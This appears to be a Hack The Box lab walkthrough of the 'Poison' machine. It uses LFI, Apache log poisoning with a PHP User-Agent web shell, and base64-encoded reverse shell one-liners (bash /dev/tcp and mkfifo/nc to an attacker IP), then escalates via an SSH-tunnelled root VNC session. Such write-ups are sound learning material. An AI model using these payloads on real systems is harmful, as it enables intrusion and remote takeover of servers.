Poison Walkthrough

Machine: Poison#

Date: 14-09-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt 10.10.10.84

Results:#

Port 22 → OpenSSH
Port 80 → Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Port 8000 → SimpleHTTPServer 0.6 (Python 2.7.14) Port open by another user to download user flag

Notes:#

Web page on port 80: Temporary website to test local .php scripts
Web page with file system on port 8000

📂 Enumeration#

On port 8000 the webserver running is serving the user.txt flag, maybe is another user who brought up the server to hack it???? Scan it again and the port is not open by default, so yes, the port was opened by another user, so will keep going like if we didn’t get the user flag

Dirb / Gobuster:#

gobuster dir -u http://IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302 -b ""

We didn’t find anything useful

gobuster dir -u http://10.10.10.84/ -w /usr/share/wordlists/seclist/Discovery/Web-Content/raft-small-files.txt -s 200,301,302 -b ""

With this diccionary we find:

 ===============================================================
/index.php            (Status: 200) [Size: 289]
/info.php             (Status: 200) [Size: 157]
/phpinfo.php          (Status: 200) [Size: 68143]
/.                    (Status: 200) [Size: 289]
/browse.php           (Status: 200) [Size: 321]
/ini.php              (Status: 200) [Size: 20456]
Progress: 11424 / 11425 (99.99%)
===============================================================

💥 Exploitation#

On the web page we found a form called scriptname to test .php files, we check with the input:

../../../../../../../etc/passwd

And we can see successfully the /etc/passwd file, so the site is vulnerable to LFI.

# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin _tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin charix:*:1001:1001:charix:/home/charix:/bin/csh

Tried to scale to a RFI with payload on a php parsing to the form:

http://10.10.14.14:8000/php-reverse-shell.php

But it seems there is a blocker for http:// string:

**Warning**: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in **/usr/local/www/apache24/data/browse.php** on line **2**

**Warning**: include(http://10.10.14.14:8000/php-reverse-shell.php): failed to open stream: no suitable wrapper could be found in **/usr/local/www/apache24/data/browse.php** on line **2**

**Warning**: include(): Failed opening 'http://10.10.14.14:8000/php-reverse-shell.php' for inclusion (include_path='.:/usr/local/www/apache24/data') in **/usr/local/www/apache24/data/browse.php** on line **2**

Let’s try doing log poisoning, injecting our payload to a log in PHP format, and then trying to execute the payload from that log. For this first we need to find where the logs are stored, we will try this ones:

 - /var/log/apache2/access.log
 - /var/log/apache2/error.log
 - /var/log/httpd-access.log
 - /var/log/httpd-error.log

And we found that the file /var/log/httpd-access.log exists, and stores the User-Agent and other stuff about clients connecting. We can now change our User-Agent to something like this: If you don’t want to reset the machine, jump for the next User-Agent used in this document

User-Agent: <?php system($_GET['cmd']); ?>

And then we have to parse the log file in the parameter:

../../../../../../../var/log/httpd-access.log

And in burp we have to add the command at the end of the request (adding it directly to the form will not work):

&cmd=ls+/

And we can see our command executed on the log file:

192.168.253.133 - - [24/Jan/2018:18:33:25 +0100] "GET / HTTP/1.1" 200 289 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "GET / HTTP/1.0" 200 289 "-" "-" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "GET / HTTP/1.0" 200 289 "-" "-" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "POST /sdk HTTP/1.1" 404 201 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "GET /nmaplowercheck1521462526 HTTP/1.1" 404 222 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "GET / HTTP/1.1" 200 289 "-" "-" 10.10.14.4 - - [19/Mar/2018:13:28:50 +0100] "GET /HNAP1 HTTP/1.1" 404 203 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 10.10.14.14 - - [21/Sep/2025:15:35:32 +0200] "GET / HTTP/1.1" 200 289 "-" "COPYRIGHT bin boot dev entropy etc home lib libexec media mnt net proc rescue root sbin sys tmp usr var " 10.10.14.14 - - [21/Sep/2025:15:35:46 +0200] "GET /browse.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flog%2Fhttpd-access.log HTTP/1.1" 200 1080 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 10.10.14.14 - - [21/Sep/2025:15:36:16 +0200] "GET /browse.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flog%2Fhttpd-access.log&cmd=whoami HTTP/1.1" 200 1236 "http://10

Now we have upgraded to a RCE, let’s try to get a shell now. Parsing the command and having it well codified is so tedious like this, so we are going to modify the User-Agent that we used and log it, we will restart the machine to have it cleaned and parse it

User-Agent: <?php system(base64_decode($_GET['cmd'])); ?>

And we send anything on the form to get the payload logged. Now the log poison is done, we have to get the base64 payload to get the reverse shell:

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.14/4444 0>&1'" | base64

We will get a string like this one: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEn

Then we go back to the form page and we send the log:

../../../../../../../var/log/httpd-access.log

And at the end of the log file path we append this:

&cmd=YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80NDQ0IDA+JjEn

After several tries and searching which binaries have the victim, we only found useful this one to get a reverse shell (of course we need to code it on base64):

mkfifo /tmp/f; /bin/sh -i < /tmp/f | nc 10.10.14.14 4444 > /tmp/f

&cmd=bWtmaWZvIC90bXAvZjsgL2Jpbi9zaCAtaSA8IC90bXAvZiB8IG5jIDEwLjEwLjE0LjE0IDQ0NDQgPiAvdG1wL2Y=

Once in the reverse shell, we find this file on the server with an encoded password:

Connection from 10.10.10.84:56892
pwd
/usr/local/www/apache24/data
ls
browse.php
index.php
info.php
ini.php
listfiles.php
phpinfo.php
pwdbackup.txt
cat pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

It looks like a base64 encoded password, it says it has been encoded 13 times, so, after trying to decode 13 times on base64, we get this:

[REDACTED]

Now let’s try to ssh as charix to the machine using this password. Bingo, we have the user flag: [FLAG REDACTED]

Result: access as user chorix#

⚡ Privilege Escalation#

Enumeration:#

using ps -auxf we found an vncserver from root running but only listening on localhost, so we have to forward the port on which is listening the vncserver with:

ssh -L 5904:127.0.0.1:5901 [email protected]

Now with this terminal opened, we have to download the secret.zip file that is on the home of charix, because it’s the password file that we will try to use to connect to the root vncserver, to download the secret.zip we can use scp:

scp [email protected]:/home/charix/secret.zip ./Documents/HTB/Machines/Poison

And once in our machine we can try to unzip it, it will ask for a password, trying with the password of charix that we already know, it uncompress successfully.

Now we can start the vnc client and pass the file as password with:

vncviewer 127.0.0.1:5904 -passwd ./Documents/HTB/Machines/Poison/secret

A new window will open with the vnc session of a root, we can start a terminal in that vnc session as root and read the flag: [FLAG REDACTED]

Succesful scalated:#

root vnc session

🎯 Loot / Flags#

user.txt: [FLAG REDACTED]
root.txt: [FLAG REDACTED]

📝 Lessons Learned#

Search for logs if we can execute php code, as we can poison those logs
Search for processes that owns root, vnc sessions are a good entry point.

#Linux #HTB #Enumeration #Web #Gobuster #LFI #LogPoisoning #RCE #ReverseShell #Base64 #SSH #PrivilegeEscalation #VNC #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.